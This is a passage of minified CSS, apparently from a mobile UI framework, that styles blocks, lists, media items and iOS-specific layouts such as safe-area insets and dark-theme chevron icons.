.block.no-hairline-bottom-md:after{display:none!important}.block>h1:first-child,.block>h2:first-child,.block>h3:first-child,.block>h4:first-child,.block>p:first-child{margin-top:0}.block>h1:last-child,.block>h2:last-child,.block>h3:last-child,.block>h4:last-child,.block>p:last-child{margin-bottom:0}.block-title{position:relative;overflow:hidden;margin:0;white-space:nowrap;text-overflow:ellipsis;font-size:14px;line-height:1}.block-strong.inset{border-radius:7px}.block-strong.inset:before{display:none!important}.block-strong.inset:after{display:none!important}.block-footer,.block-header{font-size:14px}.block-footer h1:first-child,.block-footer h2:first-child,.block-footer h3:first-child,.block-footer h4:first-child,.block-footer p:first-child,.block-footer ul:first-child,.block-header h1:first-child,.block-header h2:first-child,.block-header h3:first-child,.block-header h4:first-child,.block-header p:first-child,.block-header ul:first-child{margin-top:0}.block-footer h1:last-child,.block-footer h2:last-child,.block-footer h3:last-child,.block-footer h4:last-child,.block-footer p:last-child,.block-footer ul:last-child,.block-header h1:last-child,.block-header h2:last-child,.block-header h3:last-child,.block-header h4:last-child,.block-header p:last-child,.block-header ul:last-child{margin-bottom:0}.block-footer h1:first-child:last-child,.block-footer h2:first-child:last-child,.block-footer h3:first-child:last-child,.block-footer h4:first-child:last-child,.block-footer p:first-child:last-child,.block-footer ul:first-child:last-child,.block-header h1:first-child:last-child,.block-header h2:first-child:last-child,.block-header h3:first-child:last-child,.block-header h4:first-child:last-child,.block-header p:first-child:last-child,.block-header ul:first-child:last-child{margin-top:0;margin-bottom:0}.block-header{margin-bottom:10px}.block-footer{margin-top:10px}@media (min-width:768px){.block-strong.tablet-inset:before{display:none!important}.block-strong.tablet-inset:after{display:none!important}}.ios .block{margin:35px 0;padding:0 15px;color:#6d6d72}.ios .block-title{text-transform:uppercase;color:#6d6d72;margin:35px 15px 10px;line-height:17px}.ios .block-title+.block,.ios .block-title+.block-header,.ios .block-title+.card,.ios .block-title+.list,.ios .block-title+.timeline{margin-top:10px}.ios .block-strong{color:#000;background:#fff;padding:15px 15px}.ios .block-strong:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .block-strong:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .block-strong:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .block-strong:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .block-strong:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .block-strong:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .block.inset{margin-left:15px;margin-right:15px}.ios .block-strong-inset{border-radius:7px}.ios .block-footer,.ios .block-header{padding:0 15px;color:#8f8f94}.ios .block .block-footer,.ios .block .block-header{padding:0!important}.ios .block-header{margin-top:35px}.ios .block-header+.block,.ios .block-header+.card,.ios .block-header+.list,.ios .block-header+.timeline{margin-top:10px}.ios .block-footer{margin-bottom:35px}.ios .block .block-header,.ios .card .block-header,.ios .list .block-header,.ios .timeline .block-header{margin-top:0}.ios .block .block-footer,.ios .card .block-footer,.ios .list .block-footer,.ios .timeline .block-footer{margin-bottom:0}.ios .block+.block-footer,.ios .card+.block-footer,.ios .list+.block-footer,.ios .timeline+.block-footer{margin-top:-25px}.ios .block+.block-footer{margin-top:-25px;margin-bottom:35px}@media (min-width:768px){.ios .block.tablet-inset{margin-left:15px;margin-right:15px;border-radius:7px}.ios .block-strong.tablet-inset{border-radius:7px}}.ios .theme-dark .block-footer,.ios .theme-dark .block-header,.ios .theme-dark .block-title{color:#8e8e93}.ios .theme-dark .block{color:#8e8e93}.ios .theme-dark .block-strong,.ios .theme-dark.block-strong{background-color:#1c1c1d;color:#fff}.ios .theme-dark .block-strong:before,.ios .theme-dark.block-strong:before{background-color:#282829}.ios .theme-dark .block-strong:after,.ios .theme-dark.block-strong:after{background-color:#282829}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .block-footer,.ios.device-iphone-x .ios-edges .block-header,.ios.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .block-footer,.ios.device-iphone-x .ios-left-edge .block-header,.ios.device-iphone-x .ios-left-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .block-footer,.ios.device-iphone-x .panel-left .block-header,.ios.device-iphone-x .panel-left .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .block-footer,.ios.device-iphone-x .popup .block-header,.ios.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .block-footer,.ios.device-iphone-x .sheet-modal .block-header,.ios.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge){padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:0}.ios.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(15px + constant(safe-area-inset-left));margin-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .block-footer,.ios.device-iphone-x .ios-edges .block-header,.ios.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .block-footer,.ios.device-iphone-x .ios-right-edge .block-header,.ios.device-iphone-x .ios-right-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .block-footer,.ios.device-iphone-x .panel-right .block-header,.ios.device-iphone-x .panel-right .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .block-footer,.ios.device-iphone-x .popup .block-header,.ios.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .block-footer,.ios.device-iphone-x .sheet-modal .block-header,.ios.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge){padding-right:calc(15px + constant(safe-area-inset-right));padding-right:calc(15px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.ios.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:0}.ios.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(15px + constant(safe-area-inset-right));margin-right:calc(15px + env(safe-area-inset-right))}}@media (orientation:landscape) and (min-width:768px){.ios.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(15px + constant(safe-area-inset-left));margin-left:calc(15px + env(safe-area-inset-left))}}@media (orientation:landscape) and (min-width:768px){.ios.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .ios-right-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .panel-right .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.ios.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(15px + constant(safe-area-inset-right));margin-right:calc(15px + env(safe-area-inset-right))}}.list{position:relative;z-index:1}.list ul{list-style:none;margin:0;padding:0;position:relative}.list ul ul:before{display:none!important}.list ul ul:after{display:none!important}.list li{position:relative;-webkit-box-sizing:border-box;box-sizing:border-box}.list .item-media{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;-webkit-flex-wrap:nowrap;-ms-flex-wrap:nowrap;flex-wrap:nowrap;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;padding-bottom:8px}.list .item-inner{position:relative;width:100%;padding-top:8px;padding-bottom:8px;min-width:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-self:stretch;-ms-flex-item-align:stretch;align-self:stretch}.list .item-title{min-width:0;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;white-space:nowrap;position:relative;overflow:hidden;text-overflow:ellipsis;max-width:100%}.list .item-after{white-space:nowrap;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-left:auto}.list .item-link,.list .list-button{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:background-color;transition-property:background-color;display:block;position:relative;overflow:hidden;z-index:0}.list .item-content{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.list .item-subtitle{position:relative;overflow:hidden;white-space:nowrap;max-width:100%;text-overflow:ellipsis}.list .item-text{position:relative;overflow:hidden;text-overflow:hidden;-webkit-line-clamp:2;-webkit-box-orient:vertical;display:-webkit-box}.list .item-title-row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box}.list .item-title-row .item-after{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.list .item-row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box}.list .item-cell{display:block;-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1}.list li:last-child .list-button:after{display:none!important}.list li:last-child li:last-child>.item-content>.item-inner:after,.list li:last-child li:last-child>.item-inner:after,.list li:last-child li:last-child>.item-link>.item-content>.item-inner:after,.list li:last-child>.item-content>.item-inner:after,.list li:last-child>.item-inner:after,.list li:last-child>.item-link>.item-content>.item-inner:after{display:none!important}.ios .list.no-hairlines-ios ul:before,.ios .list.no-hairlines-ios:before,.list.no-hairlines ul:before,.list.no-hairlines:before,.md .list.no-hairlines-md ul:before,.md .list.no-hairlines-md:before{display:none!important}.ios .list.no-hairlines-ios ul:after,.ios .list.no-hairlines-ios:after,.list.no-hairlines ul:after,.list.no-hairlines:after,.md .list.no-hairlines-md ul:after,.md .list.no-hairlines-md:after{display:none!important}.ios .list.no-hairline-top-ios ul:before,.ios .list.no-hairline-top-ios:before,.list.no-hairline-top ul:before,.list.no-hairline-top:before,.md .list.no-hairline-top-md ul:before,.md .list.no-hairline-top-md:before{display:none!important}.ios .list.no-hairline-bottom-ios ul:after,.ios .list.no-hairline-bottom-ios:after,.list.no-hairline-bottom ul:after,.list.no-hairline-bottom:after,.md .list.no-hairline-bottom-md ul:after,.md .list.no-hairline-bottom-md:after{display:none!important}.ios .list.no-hairlines-between-ios .item-divider:after,.ios .list.no-hairlines-between-ios .item-inner:after,.ios .list.no-hairlines-between-ios .list-button:after,.ios .list.no-hairlines-between-ios .list-group-title:after,.list.no-hairlines-between .item-divider:after,.list.no-hairlines-between .item-inner:after,.list.no-hairlines-between .list-button:after,.list.no-hairlines-between .list-group-title:after,.md .list.no-hairlines-between-md .item-divider:after,.md .list.no-hairlines-between-md .item-inner:after,.md .list.no-hairlines-between-md .list-button:after,.md .list.no-hairlines-between-md .list-group-title:after{display:none!important}.ios .list.no-hairlines-between-ios.simple-list li:after,.list.no-hairlines-between.simple-list li:after,.md .list.no-hairlines-between-md.simple-list li:after{display:none!important}.ios .list.no-hairlines-between-ios.links-list a:after,.list.no-hairlines-between.links-list a:after,.md .list.no-hairlines-between-md.links-list a:after{display:none!important}.list.simple-list li{position:relative;white-space:nowrap;text-overflow:ellipsis;max-width:100%;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center}.list.simple-list li:last-child:after{display:none!important}.list.links-list a{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:background-color;transition-property:background-color;display:block;position:relative;overflow:hidden;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;white-space:nowrap;text-overflow:ellipsis;max-width:100%}.list.links-list li:last-child a:after{display:none!important}.media-list .item-inner,li.media-item .item-inner{display:block;-webkit-align-self:stretch;-ms-flex-item-align:stretch;align-self:stretch}.media-list .item-link .item-inner,li.media-item .item-link .item-inner{background:0 0}.media-list .item-media,li.media-item .item-media{-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start}.media-list .item-media img,li.media-item .item-media img{display:block}.links-list a,.list .item-link .item-inner,.media-list .chevron-center .item-link .item-inner,.media-list .item-link .item-title-row,.media-list .item-link.chevron-center .item-inner,.media-list.chevron-center .item-link .item-inner,li.media-item .chevron-center .item-link .item-inner,li.media-item .item-link .item-title-row,li.media-item .item-link.chevron-center .item-inner,li.media-item.chevron-center .item-link .item-inner{background-size:8px 13px;background-repeat:no-repeat;background-position:95% center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(1.500000%2C%206.500000)%20rotate(-45.000000)%20translate(-1.500000%2C%20-6.500000)%20'%20points%3D'6%2011%206%202%204%202%204%209%20-3%209%20-3%2011%205%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.item-link.no-chevron .item-inner,.links-list .no-chevron a,.links-list.no-chevron a,.media-list .chevron-center .item-title-row,.media-list.chevron-center .item-title-row,.media-list.no-chevron .item-link .item-title-row,.no-chevron .item-link .item-inner,.no-chevron .links-list a,.no-chevron .media-list .item-link .item-title-row,li.media-item .chevron-center .item-title-row,li.media-item .no-chevron .item-title-row,li.media-item.chevron-center .item-title-row,li.media-item.no-chevron .item-title-row{background-image:none!important}.media-list .item-link .item-inner,li.media-item .item-link .item-inner{background-image:none}.media-list .item-link .item-title-row,li.media-item .item-link .item-title-row{background-position:right center!important}.list-group ul:after,.list-group ul:before{z-index:25!important}.list-group+.list-group ul:before{display:none!important}.item-divider,li.item-divider,li.list-group-title{white-space:nowrap;position:relative;max-width:100%;text-overflow:ellipsis;overflow:hidden;z-index:15}li.list-group-title{position:relative;position:-webkit-sticky;position:sticky;top:0;margin-top:0;z-index:20}li.list-group-title:before{display:none!important}.list.inset .block-title{margin-left:0;margin-right:0}.list.inset ul:before{display:none!important}.list.inset ul:after{display:none!important}@media (min-width:768px){.list.tablet-inset .block-title{margin-left:0;margin-right:0}.list.tablet-inset ul:before{display:none!important}.list.tablet-inset ul:after{display:none!important}}.links-list.theme-dark a,.list.theme-dark .item-link .item-inner,.media-list.theme-dark .item-link .item-title-row,.theme-dark .links-list a,.theme-dark .list .item-link .item-inner,.theme-dark .media-list .item-link .item-title-row,.theme-dark li.media-item .item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(1.500000%2C%206.500000)%20rotate(-45.000000)%20translate(-1.500000%2C%20-6.500000)%20'%20points%3D'6%2011%206%202%204%202%204%209%20-3%209%20-3%2011%205%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.media-list.theme-dark .item-link .item-inner,.theme-dark .media-list .item-link .item-inner,.theme-dark li.media-item .item-link .item-inner{background-image:none}.ios .list{margin:35px 0;font-size:17px}.ios .list .item-cell{width:100%;min-width:0;margin-left:15px}.ios .list .item-cell:first-child{margin-left:0}.ios .list ul{background:#fff}.ios .list ul ul{padding-left:45px}.ios .list .item-media{padding-top:7px}.ios .list .item-media i+i,.ios .list .item-media i+img{margin-left:5px}.ios .list .item-media+.item-inner{margin-left:15px}.ios .list .item-inner{min-height:44px;padding-right:15px}.ios .list .item-after{color:#8e8e93;padding-left:5px}.ios .list .item-link,.ios .list .list-button{color:inherit}.ios .list .item-link .item-inner,.ios .list .list-button .item-inner{padding-right:35px}.ios .list .item-link.active-state,.ios .list .list-button.active-state{-webkit-transition-duration:0s;transition-duration:0s;background-color:#d9d9d9}.ios .list .item-link.active-state .item-inner:after,.ios .list .list-button.active-state .item-inner:after{background-color:transparent}.ios .list .list-button{padding:0 15px;text-align:center;color:#007aff;line-height:44px}.ios .list .item-content{min-height:44px;padding-left:15px}.ios .list .item-subtitle{font-size:15px}.ios .list .item-text{font-size:15px;color:#8e8e93;line-height:21px;max-height:42px}.ios .list .item-footer,.ios .list .item-header{font-weight:400;font-size:12px;line-height:1.2;white-space:normal}.ios .list .item-footer{color:#8e8e93}.ios .list .item-link.no-chevron .item-inner,.ios .list .no-chevron .item-link .item-inner,.ios .list.no-chevron .item-link .item-inner,.ios .no-chevron .list .item-link .item-inner{padding-right:15px}.ios .simple-list li:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .simple-list li:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .simple-list li:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .simple-list li{padding-left:15px;padding-right:15px;line-height:44px;height:44px}.ios .simple-list li:after{width:auto;left:15px;right:0}.ios .links-list a:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .links-list a:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .links-list a:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .links-list a{height:44px;color:inherit}.ios .links-list a.active-state{-webkit-transition-duration:0s;transition-duration:0s;background-color:#d9d9d9}.ios .links-list a:after{width:auto}.ios .links-list a{padding-left:15px;padding-right:35px}.ios .links-list a:after{left:15px;right:0}.ios .links-list .no-chevron a,.ios .links-list a.no-chevron,.ios .links-list.no-chevron a,.ios .no-chevron .links-list a{padding-right:15px}.ios .media-list .item-title,.ios li.media-item .item-title{font-weight:600}.ios .media-list .item-inner,.ios li.media-item .item-inner{padding-top:10px;padding-bottom:9px}.ios .media-list .item-media,.ios li.media-item .item-media{padding-top:9px;padding-bottom:10px}.ios .media-list .item-link .item-inner,.ios li.media-item .item-link .item-inner{padding-right:15px}.ios .media-list .item-link .item-title-row,.ios li.media-item .item-link .item-title-row{padding-right:20px}.ios .media-list .chevron-center .item-link .item-inner,.ios .media-list .item-link.chevron-center .item-inner,.ios .media-list.chevron-center .item-link .item-inner,.ios li.media-item .chevron-center .item-link .item-inner,.ios li.media-item .item-link.chevron-center .item-inner,.ios li.media-item.chevron-center .item-link .item-inner{padding-right:35px}.ios .media-list .chevron-center .item-title-row,.ios .media-list .no-chevron .item-link .item-title-row,.ios .media-list.chevron-center .item-title-row,.ios .media-list.no-chevron .item-link .item-title-row,.ios .no-chevron .media-list .item-link .item-title-row,.ios .no-chevron li.media-item .item-link .item-title-row,.ios li.media-item .chevron-center .item-title-row,.ios li.media-item.chevron-center .item-title-row,.ios li.media-item.no-chevron .item-link .item-title-row{padding-right:0!important}.ios .links-list a,.ios .list .item-link .item-inner{background-position:calc(100% - 15px) center}.ios .item-divider,.ios .list-group-title{margin-top:-1px;padding:4px 15px;background:#f7f7f7;color:#8e8e93}.ios .item-divider:after,.ios .list-group-title:after{display:none!important}.ios .list-group-title{margin-top:0}.ios .item-divider:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .item-divider:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .item-divider:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list-group-title:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .list-group-title:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .list-group-title:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list .list-button:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .list .list-button:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .list .list-button:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list .item-inner:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .list .item-inner:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .list .item-inner:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list ul:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .list ul:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .list ul:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list ul:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .list ul:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .list ul:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list.inset{margin-left:15px;margin-right:15px;border-radius:7px}.ios .list.inset ul{border-radius:7px}.ios .list.inset li:first-child>a{border-radius:7px 7px 0 0}.ios .list.inset li:last-child>a{border-radius:0 0 7px 7px}.ios .list.inset li:first-child:last-child>a{border-radius:7px}@media (min-width:768px){.ios .list.tablet-inset{margin-left:15px;margin-right:15px;border-radius:7px}.ios .list.tablet-inset ul{border-radius:7px}.ios .list.tablet-inset li:first-child>a{border-radius:7px 7px 0 0}.ios .list.tablet-inset li:last-child>a{border-radius:0 0 7px 7px}.ios .list.tablet-inset li:first-child:last-child>a{border-radius:7px}}.ios li li:last-child .item-inner:after,.ios li:last-child li .item-inner:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}html.device-pixel-ratio-2 .ios li li:last-child .item-inner:after,html.device-pixel-ratio-2 .ios li:last-child li .item-inner:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}html.device-pixel-ratio-3 .ios li li:last-child .item-inner:after,html.device-pixel-ratio-3 .ios li:last-child li .item-inner:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li{padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges 